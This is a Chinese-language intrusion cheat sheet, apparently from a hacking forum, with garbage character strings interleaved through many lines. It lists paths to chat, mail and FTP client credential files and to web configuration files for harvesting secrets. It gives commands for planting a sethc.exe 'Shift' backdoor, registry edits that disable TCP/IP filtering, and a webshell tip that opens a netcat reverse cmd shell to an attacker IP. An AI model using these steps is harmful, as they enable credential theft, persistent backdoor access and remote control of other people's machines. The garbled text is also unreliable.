c:\Program Files\Tencent\qq2009\qq.exe
: _9 S* z/ }3 Cc:\Program Files\Tencent\qq2008\qq.exe
/ b2 R# ]/ S8 Z0 L# Ac:\Program Files\Tencent\qq2010\bin\qq.exe
$ @9 J, z; F1 t9 A2 ec:\Program Files\Tencent\qq\Users\All Users\Registry.db
6 N: Z" O: M* u, _. v( jC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
: @' O& D$ [& y0 B- I/ [c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
! |- k- j' u  y% ~" [' Xc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
% E3 {1 N. o8 d" R4 }C:\Program Files\Foxmal\accounts.cfg
2 J4 x! U! \$ T$ `9 y1 v0 D& C* WC:\Program Files\tencent\Foxmal\Foxmail.exe
$ @0 {. v& C, l! d- S; R" TC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
% M, W& t  b$ V3 \1 ?3 Mc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
4 \+ U; O& W9 i! c5 Y/ jC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
3 j2 C+ |5 L: C. rc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
/ T1 C! m2 P0 k$ c: o, U6 wC:\Program Files\StormII\Storm.exe

3.网站相对路径:
8 i" \1 {& u! n
/config.php
( Q; ^7 o: n4 A; L2 p../../config.php
../config.php
../../../config.php
2 u7 @3 P- H6 Y& q! f/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
  @! A/ ]' c% ]- ?6 U* E../../../config.inc.php
" d/ y. K: s5 f, ?1 B) M/conn.php
./conn.php
../../conn.php
../conn.php
5 K3 B$ N" L, t1 T* P% t../../../conn.php
. H6 e0 C  D. O  n( R/conn.asp
; z# }) ]5 S* N) ?, D5 E./conn.asp
: i. U6 |$ c/ b9 g../../conn.asp
) e9 h3 x0 b' ~. |; {, L4 c../conn.asp
3 {0 i5 m4 T% J5 J../../../conn.asp
* H! S! \1 Z1 Z8 O3 o( c/config.inc.php
: `9 ~) `7 y3 @* X: e& K./config.inc.php
0 o# [. K6 B: _' ^: u: @2 G* N../../config.inc.php
../config.inc.php
../../../config.inc.php
) v6 a% w" e3 a  J: l: j/config/config.php
- m0 J, _" |( [( I4 K% {../../config/config.php
3 V( z  C& M5 n../config/config.php
+ e* n- C. ?, [* Q8 {../../../config/config.php
& g5 v: J+ S3 m/config/config.inc.php
( r* G4 g2 W5 X/ d1 f, b0 a5 X; G6 i./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
: C! ?% j( O! s../../../config/conn.php
" q& {" t) F! I$ [' [' W. o/config/conn.asp
./config/conn.asp
../../config/conn.asp
' W+ M/ I' d4 @5 e% P( E* }../config/conn.asp
& M5 @% [) B5 h../../../config/conn.asp
9 X% m, K/ ~& b2 L/ P1 ~/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
* T% n; s# w0 W../config/config.inc.php
& ^8 q2 |+ p5 j: [0 w- C../../../config/config.inc.php
: g6 {4 p! S: R0 r- a/data/config.php
../../data/config.php
../data/config.php
+ q1 C* b! J* V5 B8 ]" s" _6 l; u- W../../../data/config.php
/data/config.inc.php
8 ]; `! ]4 o# N0 p& C./data/config.inc.php
2 i2 O& D# |) g# m; P  I../../data/config.inc.php
../data/config.inc.php
1 L8 u& @8 x4 s9 K2 G../../../data/config.inc.php
/data/conn.php
./data/conn.php
2 @$ J5 m) {. R( R../../data/conn.php
0 f' Y8 C0 ^5 f5 Q* {  ]../data/conn.php
8 u! I" `  ?# v../../../data/conn.php
/data/conn.asp
./data/conn.asp
6 h9 T: E; s" @' Y2 M2 ?7 {../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
  a2 h5 {9 ^7 _& u% Y./data/config.inc.php
../../data/config.inc.php
; [; @) v9 z4 s4 D( k7 M7 M../data/config.inc.php
# A% i+ N: Q1 o- x8 K' }: z../../../data/config.inc.php
8 ?, U' U9 i1 O1 a/include/config.php
../../include/config.php
$ R/ S7 Z% T* t. U+ d) |6 Q% K../include/config.php
../../../include/config.php
/include/config.inc.php
2 c3 a# @) |7 f# b5 \+ R1 {0 {./include/config.inc.php
& N% P2 F/ y( K. |& {../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
6 J2 F3 [* e* `2 J; E- V4 H/include/conn.php
9 A, F& z- {; a. `) z./include/conn.php
../../include/conn.php
: K7 T% v4 H9 r../include/conn.php
7 Z! j+ x2 }, A: ]' v../../../include/conn.php
/include/conn.asp
  L& ^% t! B4 U: X. ^5 h+ n4 U% p* A./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
' P7 P% t* e6 Z4 E/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
) t0 R& F1 V7 L- X3 c0 Q, J4 q../../inc/config.php
/ j* f& h2 |$ Y2 O: k7 B- ?, ], @../inc/config.php
( Z- Z7 Y, l9 |5 b+ m& l5 h1 W4 I../../../inc/config.php
/inc/config.inc.php
' C4 _* _9 V: ?% B; i' n# M./inc/config.inc.php
../../inc/config.inc.php
+ b3 _$ n- `8 h../inc/config.inc.php
* R/ _( N3 X5 `9 q& G' o../../../inc/config.inc.php
4 o* v" ?8 x8 V: R8 p/inc/conn.php
  y: G/ M) }( ]8 o) \  q* ?  g./inc/conn.php
" C5 a; V" N& e../../inc/conn.php
8 e- [" C+ L( F, ?, R* ?- \../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
0 s2 P3 ]) Z6 b  M4 U& Z0 P- |4 V../../inc/config.inc.php
../inc/config.inc.php
: u  _: @5 T* w+ G../../../inc/config.inc.php
/index.php
. T/ t1 T8 X$ m" e: |* @9 x+ P./index.php
  D/ u) B/ `8 l, f0 }../../index.php
../index.php
8 c2 t; ^' U  K- L3 f$ s../../../index.php
, c* `* B: x  P8 e/index.asp
./index.asp
% V, R  Q) }. m5 T../../index.asp
, M4 @, F/ o; X9 |3 E../index.asp
../../../index.asp
. |3 k+ q5 B- U替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

* O4 u$ N7 c7 }3 y5 `% L$ z) U5 }　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
) N- V$ `4 P( o  L% E
　　del c:\windows\system32\sethc.exe

1 ?, K' |1 ?4 h0 U: c　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
" F, a* U/ S8 t4 g
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
) u/ u; b  [) n$ H
! c0 D& J! X# h) y　　attrib c:\windows\system32\sethc.exe +h +r +s
: ]& U2 s6 x! q' s/ y
( Q+ b  z5 V+ D- ?6 t　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
3 Y; ?% p, n3 Y: E3 i' Y去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
$ H- l/ Y1 f7 ?3 eHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
' N& U! V/ F+ C& u5 Y7 fHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 |& O+ z4 j1 F) U  |( Sregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
! A( c6 w- g7 o) E+ j0 Lregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
5 [7 U$ L3 n: R2 T8 u1 h命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

0 {4 p/ Y. U) z2 b/ p再将以上三个文件分别用
. m8 p+ k9 i* j5 Q8 k6 d! Cregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
1 |5 R9 g0 [4 a$ M1 ]3 _cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
. ]5 P9 o% Y7 S通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
% e- N# k6 X, R. K% `: o, ^命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
  H8 a' H6 a3 H1 E7 B4 @却能成功。。
这个不是重点
1 j: _* I3 \5 B2 b- f7 P" h2 ]我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功